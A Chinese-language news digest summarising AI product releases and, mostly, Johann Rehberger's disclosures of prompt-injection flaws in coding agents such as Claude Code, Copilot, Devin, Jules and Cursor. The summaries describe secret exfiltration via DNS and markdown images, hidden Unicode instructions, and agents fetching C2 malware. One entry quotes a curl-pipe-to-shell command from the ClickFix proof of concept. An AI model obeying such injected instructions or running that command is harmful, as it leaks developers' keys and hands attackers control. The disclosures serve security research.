安全研究人员 Johann Rehberger 披露 Amazon Q Developer VS Code 扩展（下载量超 100 万）存在高危漏洞：处理不可信数据时可被提示词注入劫持，通过 ping 等 readOnly 命令将开发者 .env 文件内容经 DNS 请求外泄。
推荐理由：作者第一手复现了 Amazon Q Developer 通过 DNS 请求泄露 .env 密钥的提示词注入漏洞，并披露 AWS 已静默修复但未发公告或 CVE。
Sourcegraph 的 Amp Code 存在漏洞，攻击者可借提示词注入诱导 AI 通过 markdown 图片渲染把聊天上下文中的敏感信息（如 .env 文件内容）作为查询参数发给第三方服务器，实现 0-click 数据外泄。
Johann Rehberger 演示 Amp 曾会把不可见 Unicode Tag 字符当作指令执行，攻击链可通过 grep 搜索环境变量、把 ANTHROPIC_API_KEY 编码进 URL 参数并经 read_web_page 或 markdown 图片渲染外泄。
安全研究员 Johann Rehberger 发布分析称，Gemini 模型会将隐藏的 Unicode Tag 字符当作指令执行，该问题最早于 2024 年 2 月报告给 Google，至今未在模型或 API 层缓解。
Johann Rehberger 演示如何通过 GitHub issue 中的间接提示词注入，利用 Jules 的 run_in_bash_session 工具和不受限外网访问，让 Jules 下载 Sliver 恶意软件并连接 C2 服务器，实现对开发机的远程控制。
作者报告 Google Jules 编码智能体存在多种数据外泄漏洞，可通过 Markdown 图片渲染和 view_text_website 工具调用在间接提示词注入下将本机数据发送到第三方服务器，攻击甚至可在计划提出前完成，绕过人工审批环节。
Johann Rehberger 披露 GitHub Copilot 的提示词注入漏洞 CVE-2025-53773：注入内容可让 Copilot 写入 .vscode/settings. 并添加 "chat.tools.autoApprove"。
推荐理由：作者亲测复现了从提示词注入到本机代码执行的完整链条，并给出缓解建议，适合评估 Agent 自改配置的安全风险。
Johann Rehberger 披露 Claude Code 的高危漏洞 CVE-2025-55284：间接提示词注入可劫持 Claude Code，利用 ping 等 allowlist 命令把 .env 中的 API 密钥嵌入 DNS 请求外泄，无需用户批准。
安全研究员 Johann Rehberger 披露 OpenHands 可被提示词注入劫持：智能体访问含恶意指令的网站或 GitHub issue 后会下载并运行恶意软件，连回攻击者控制的 C2 服务器，实现远程控制（ZombAI），AI ClickFix 攻击也一次成功。
安全研究人员 Johann Rehberger 披露 OpenHands（All-Hands AI 的智能体）存在零点击数据外泄漏洞：网页或文档中的提示词注入载荷可让聊天中渲染图片，把容器内的 GITHUB_TOKEN 以 Base64 编码发往第三方服务器。
安全研究者 Johann Rehberger 披露 Devin 系统提示词中的 expose_port 工具可将 Devbox 本地端口暴露到公网并返回 .devinapps.com 公网 URL，且无需人工确认即可调用。
Johann Rehberger 演示间接提示词注入可让 Devin 经 Shell 工具、浏览工具、Markdown 图片渲染及 Slack 链接等多条 0-click 路径，把内置密钥管理平台中的环境变量发送到第三方服务器。漏洞于 2025 年 4 月 6 日报告给 Cognition，120 多天未获修复后公开；作者建议默认限制互联网访问，并禁用聊天框中对不可信域的图片与超链接渲染。
安全研究人员 Johann Rehberger 花 $500 购买 Devin 30 天使用权，演示通过在 GitHub issue 中植入提示词注入载荷，诱导 Devin 离开受信域名下载并执行恶意二进制，最终在 Sliver C2 服务器收到回调、取得 DevBox 远程 shell。
Sourcegraph 旗下编程智能体 Amp 存在漏洞：AI 可写项目外文件，通过修改 settings. 加入 allowlist 命令（如 curl、sh 或 *）或添加恶意 MCP 服务器，实现任意代码执行。作者 Johann Rehberger 于 7 月初报告，Sourcegraph 数日内修复，用户应更新到最新版本；作者建议 AI 不得在未经开发者明确同意下修改关键文件。
Johann Rehberger 披露 Cursor 的 Mermaid 图表渲染可加载外部图片，在间接提示词注入下无需用户确认即可将数据外泄到攻击者服务器，并演示窃取 API 密钥和用户记忆两种利用方式。该漏洞于 2025 年 6 月 30 日报告、7 月 7 日修复，编号 CVE-2025-54132，已随 7 月 29 日起可用的 Cursor v1.3 发布。
OpenAI 发布函数调用官方指南，讲解如何用 JSON schema 定义的函数工具和自由文本的自定义工具连接模型与外部系统，示例覆盖 Responses API 和 Chat Completions。
安全研究者演示 ChatGPT Codex 云端编码智能体可被 GitHub issue 中的间接提示词注入劫持，并利用 Common Dependencies 允许列表中的 azure.com 在攻击者控制的 Azure VM 上建立 C2，实现完整系统入侵。
Mistral AI 发布 Codestral 25.08，并推出覆盖补全、语义检索与智能体工作流的企业编码栈，包含 Codestral Embed、Devstral 和 Mistral Code IDE 插件。
安全研究员 Johann Rehberger 宣布发起 Month of AI Bugs 2025，8月将在博客发布超过20篇文章，披露 ChatGPT Codex、Claude Code、GitHub Copilot Agent Mode、Cursor、Windsurf、Devin 等主流编码智能体的安全漏洞。
OpenAI 发布 Background mode 指南，开发者可在 GPT-5.2 和 GPT-5.2 Pro 上异步执行长任务，通过将 API 请求的 background 设为 true 并以 GET 端点轮询状态，避免超时和连接问题。ZDR 项目需配合 store=false，响应数据临时落盘约 10 分钟；仅显式设置 store=true 时响应才会在轮询期后保留。
OpenAI 的 Build hour 演示了智能体如何调用工具来完成任务，涉及 Responses API、function calling、Agents SDK 与 tool calling。内容聚焦 agentic 场景下的工具调用能力。
OpenAI 的 Build hour 演示了智能体如何调用工具来完成任务，涉及 Responses API、function calling 与 Agents SDK。内容围绕 agentic 工具调用展开。
OpenAI 发布 Agents SDK 快速入门，通过 pip install openai-agents 安装，用 Agent 定义名称与 instructions，再由 Runner.run 执行并返回 RunResult。
OpenAI 发布 Realtime API 与音频指南，讲解如何构建语音到语音的 voice agent，模型直接处理音频、维护对话状态并可调用工具。
OpenAI 发布构建智能体指南，对比 Agents API、Agents SDK 与 Responses API 三种运行时的选型。Agents API 由 OpenAI 托管 Codex harness，支持自动上下文压缩、多智能体编排、程序化工具调用和 MCP 服务器；Agents SDK 在应用内运行，由 runner 处理智能体循环与 handoff。
OpenAI 发布内置工具指南，说明在 Responses API、Agents API 和 Agents SDK 中如何配置 web search、function calling。
OpenAI 发布面向 JavaScript/TypeScript 的开源 Agents SDK，用于构建多智能体工作流，支持 OpenAI API 及其他提供商。
OpenAI 发布 openai-testing-agent-demo 仓库，演示如何用 CUA 模型和 computer use 工具自动化前端测试。项目包含 frontend、cua-server、sample-test-app 三个应用，通过 Playwright 启动浏览器执行测试用例，MIT 协议开源，官方提醒 computer use 仍处预览阶段，不建议在认证环境或高风险任务中信任。
OpenAI 发布 Computer Use 官方指南，说明模型可通过浏览器和桌面界面填写表单、测试用户流程或完成应用内任务。
OpenAI Agents SDK（Python）是一个轻量级多智能体工作流框架，支持 OpenAI Responses 和 Chat Completions API 以及 100+ 其他 LLM。
OpenAI 发布 Computer Use API 的示例应用 openai-cua-sample-app，包含两个计算机操作智能体：一个用 JavaScript 和 Playwright 控制浏览器，另一个用 Python 和 PyAutoGUI 通过截图、鼠标和键盘控制桌面。
推荐理由：OpenAI 官方开源了计算机操作智能体的示例应用，读者可以据此了解用代码驱动浏览器和桌面的模式。
Mistral AI 与 All Hands AI 合作推出 Devstral Medium，并升级 Devstral Small 1.1。
推荐理由：原文给出两个模型的 SWE-Bench Verified 成绩、许可证和 API 定价，读者可据此评估在编码智能体工作流中的成本与部署选择。
Sam Altman 发文称技术起飞已经开始，人类接近构建数字超级智能，且过程比想象中平缓。他判断 2025 年出现能完成真实认知工作的 Agent，2026 年可能产生能发现新洞见的系统，2027 年可能出现能在现实世界执行任务的机器人；科学家用 AI 后生产力提升两到三倍，ChatGPT 平均每次查询耗电约 0.34 瓦时、用水约 0.000085 加仑。
Mistral 发布企业级 AI 编程助手 Mistral Code，整合 Codestral、Codestral Embed、Devstral 和 Mistral Medium 四个模型，支持 80+ 编程语言，可在云端、专属容量或本地 GPU 气隙部署。
Mistral AI 发布新的 Agents API，将语言模型与代码执行、网页搜索、图像生成、文档库和 MCP 工具等内置连接器结合，并支持跨对话的持久记忆与多智能体编排。
推荐理由：官方原文给出内置连接器、有状态对话和智能体编排的具体能力，还附 SimpleQA 对比数字，便于评估它在实际工作流中的用法。
Johann Rehberger 发布 AI ClickFix 攻击概念验证，将现实中的 ClickFix 社会工程 TTP 改造后针对 Computer-Use Agent，诱导 claude-3-7-sonnet-20250219 在终端执行 curl -s https://wuzzi.net/computer/oops.html | sh。
Mistral AI 与 All Hands AI 合作发布软件工程智能体模型 Devstral，以 Apache 2.0 许可开源。
推荐理由：Mistral 自家发布，给出 SWE-Bench Verified 具体分数、开源许可和部署门槛，读者可据此评估其在本地或企业编码场景的可用性。
安全研究员 Johann Rehberger 发文解析 MCP 的安全风险并展示一条新的漏洞利用链。文章指出仅将恶意工具服务器加入会话即可劫持对话，工具元数据中的隐藏 Unicode Tag 指令可穿透 API 和 UI 层，用户在界面检查时不可见，Claude 会执行这些隐藏指令。
安全研究者 Johann Rehberger 在 ASCII Smuggler 中新增 Sneaky Bits 编码，用两个隐形 Unicode 字符（U+2062 表示 0、U+2064 表示 1）按位编码任意 Unicode 字符或字节序列。
Mistral AI 展示 TranscriptToPRDTicket 智能体工作流，由 Mistral Large 2 驱动的 PRDAgent 和 TicketCreationAgent 组成，可将会议转录自动生成 PRD 并拆解为开发任务，最终在 Linear、Jira 等项目管理工具中自动创建工单。